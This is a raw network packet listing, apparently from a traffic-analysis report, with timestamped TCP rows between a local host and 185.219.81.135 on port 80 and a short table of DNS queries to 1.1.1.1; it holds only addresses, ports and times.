Dec 18, 2024 22:02:46.536484957 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.536514044 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.537498951 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.537554979 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.537734032 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.537784100 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.538557053 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.538615942 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.538697004 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.538832903 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.539736032 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.539783955 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.540038109 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.540185928 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.540919065 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.540994883 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.541053057 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.541099072 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.542088032 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.542140007 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.542347908 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.542393923 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.543052912 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.543097973 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.543210983 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.543256998 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.544222116 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.544266939 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.544353962 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.544445038 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.545325994 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.545380116 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.597589970 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.597671032 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.597785950 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.597928047 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.597965002 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.598007917 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.598192930 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.598261118 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.598762989 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.598900080 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.598954916 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.599565029 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.599625111 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.599747896 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.600064039 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.600471020 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.600539923 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.600580931 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.600635052 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.601406097 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.601471901 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.601515055 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.601603985 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.602083921 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.602137089 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.602226019 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.602287054 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.602951050 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.603004932 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.603096008 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.603148937 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.603924990 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.604020119 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.604022980 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:46.604207993 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.648112059 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:46.770596027 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.038875103 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.039050102 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.039249897 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.039419889 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.039647102 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.039709091 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.040241003 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.040371895 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.040431976 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.041054010 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.041217089 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.041279078 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.041923046 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.042018890 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.042079926 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.042685986 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.042740107 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.042819977 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.043533087 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.043580055 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.043669939 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.044397116 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.044454098 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.044498920 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.044661999 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.045222998 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.045365095 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.045413971 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.046084881 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.046251059 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.046300888 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.046921015 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.046973944 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.047061920 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.047776937 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.047830105 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.047915936 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.048612118 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.048665047 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.048746109 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.049463034 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.049519062 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.049597025 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.049643993 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.050292969 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.050443888 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.050497055 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.051182985 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.051285028 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.051341057 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.052002907 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.052124977 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.052177906 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.052856922 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.052916050 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.052989960 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.053678036 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.053730011 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.053817987 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.054553986 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.054606915 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.054688931 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.054738045 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.055452108 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.055628061 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.055677891 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.056242943 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.056392908 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.056443930 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.057082891 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.057142019 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.057224989 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.057972908 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.058022976 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.058108091 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.058784008 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.058839083 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.058914900 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.059667110 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.059725046 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.059861898 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.059911966 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.060483932 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.060642958 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.060647964 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.060693979 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.061628103 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.061676979 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.061731100 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.061774969 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.062150002 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.062216997 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.062280893 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.062330961 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.063086987 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.063138008 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.063204050 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.063254118 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.063883066 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.063934088 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.064021111 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.064069986 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.064759016 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.064820051 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.064891100 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.065578938 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.065629005 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.231159925 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:47.231276989 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.919923067 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:47.919986963 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:48.041770935 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:48.041784048 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:48.615263939 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:48.615586042 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:48.876758099 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:48.996395111 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:49.269249916 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:49.269365072 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:49.269526005 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:49.269618988 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:49.272722006 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:49.301657915 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:49.421384096 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:49.709039927 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:49.709105015 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:49.726985931 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:49.847155094 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.208244085 CET	49704	80	192.168.2.5	172.64.149.23
Dec 18, 2024 22:02:50.208298922 CET	49703	80	192.168.2.5	172.64.149.23
Dec 18, 2024 22:02:50.328361034 CET	80	49704	172.64.149.23	192.168.2.5
Dec 18, 2024 22:02:50.328448057 CET	49704	80	192.168.2.5	172.64.149.23
Dec 18, 2024 22:02:50.328970909 CET	80	49703	172.64.149.23	192.168.2.5
Dec 18, 2024 22:02:50.329040051 CET	49703	80	192.168.2.5	172.64.149.23
Dec 18, 2024 22:02:50.329371929 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.329437017 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.406829119 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.406918049 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.528496027 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.528528929 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.528572083 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.528595924 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.528624058 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.528626919 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.528642893 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.528666973 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.528736115 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.528764963 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.528790951 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.528805971 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.528830051 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.528858900 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.528877974 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.528887033 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.528906107 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.528914928 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.528927088 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.528942108 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.528960943 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.528969049 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.528992891 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.528996944 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.529016018 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.529047012 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.648746967 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.648967028 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.649099112 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.649147987 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.649260998 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.649298906 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.649337053 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.649378061 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.649388075 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.649441004 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.649538994 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.649580956 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.649707079 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.649715900 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.649777889 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.649852991 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.649862051 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.649910927 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.650007963 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.650016069 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.650065899 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.650208950 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.650218010 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.650269032 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.768728018 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.768896103 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.769032001 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.769171953 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.769244909 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.769303083 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.769330025 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.769393921 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.769435883 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.769545078 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.769577980 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.769619942 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.769654989 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:50.769692898 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.769778967 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.769879103 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.770009041 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.770036936 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.770070076 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.770255089 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.770282984 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.770421028 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.770448923 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.770610094 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.770637989 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.770756006 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.770783901 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.770874977 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.770901918 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.770934105 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.771034956 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.771203041 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.771229982 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.771368980 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.771398067 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.771430969 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.771528959 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.771660089 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.771688938 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.771728992 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.772079945 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.772109985 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.772136927 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.772186041 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.772213936 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.772315025 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.772342920 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.772375107 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.889774084 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.889786959 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.889843941 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.889858007 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.889960051 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.890012026 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.890022993 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.890249014 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.890258074 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.890333891 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.890342951 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.890396118 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.890404940 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.890450954 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.890460968 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.890558958 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.890568018 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.890741110 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:50.890749931 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:51.710736990 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:51.710859060 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:52.083086967 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:52.202783108 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:52.480149984 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:52.480248928 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:52.486222982 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:52.605833054 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:54.167866945 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:54.167943954 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:54.992707014 CET	49764	80	192.168.2.5	185.219.81.135

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 22:02:16.558686972 CET	63907	53	192.168.2.5	1.1.1.1
Dec 18, 2024 22:02:16.558841944 CET	65528	53	192.168.2.5	1.1.1.1
Dec 18, 2024 22:02:16.597819090 CET	53	65058	1.1.1.1	192.168.2.5
Dec 18, 2024 22:02:16.696815968 CET	53	63429	1.1.1.1	192.168.2.5
Dec 18, 2024 22:02:16.697810888 CET	53	63907	1.1.1.1	192.168.2.5
